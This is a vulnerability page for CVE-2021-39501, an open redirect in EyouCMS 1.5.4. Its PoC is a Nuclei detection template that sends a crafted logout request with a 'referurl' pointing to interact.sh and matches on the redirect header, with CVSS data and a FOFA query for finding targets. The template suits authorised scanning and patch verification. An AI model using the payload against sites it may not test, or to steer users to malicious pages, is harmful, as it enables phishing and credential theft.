CVE-2021-39501: EyouCMS 1.5.4 Open Redirect

2025-08-01 EyouCMS 1.5.4 PoC Public

Description

EyouCMS 1.5.4 is vulnerable to an Open Redirect vulnerability. An attacker can redirect a user to a malicious url via the Logout function.

PoC

id: CVE-2021-39501

info:
  name: EyouCMS 1.5.4 Open Redirect
  author: 0x_Akoko
  severity: medium
  description: EyouCMS 1.5.4 is vulnerable to an Open Redirect vulnerability. An attacker can redirect a user to a malicious url via the Logout function.
  impact: |
    Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of EyouCMS to mitigate the vulnerability.
  reference:
    - https://github.com/eyoucms/eyoucms/issues/17
    - https://github.com/KietNA-HPT/CVE
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39501
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39501
    cwe-id: CWE-601
    epss-score: 0.03588
    epss-percentile: 0.88824
    cpe: cpe:2.3:a:eyoucms:eyoucms:1.5.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eyoucms
    product: eyoucms
    fofa-query: title="eyoucms"
  tags: cve2021,cve,redirect,eyoucms,cms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?m=user&c=Users&a=logout&referurl=https://interact.sh'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
# digest: 4b0a004830460221008c9f8428ad80c657cb0f71bb64abff64c168051d5a8326f241a0b16cb7ea26ce022100873cdb0fe0b1651196cd460a47bdb68cbdbaa580f5b74b3e09fc54a597fd1002:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities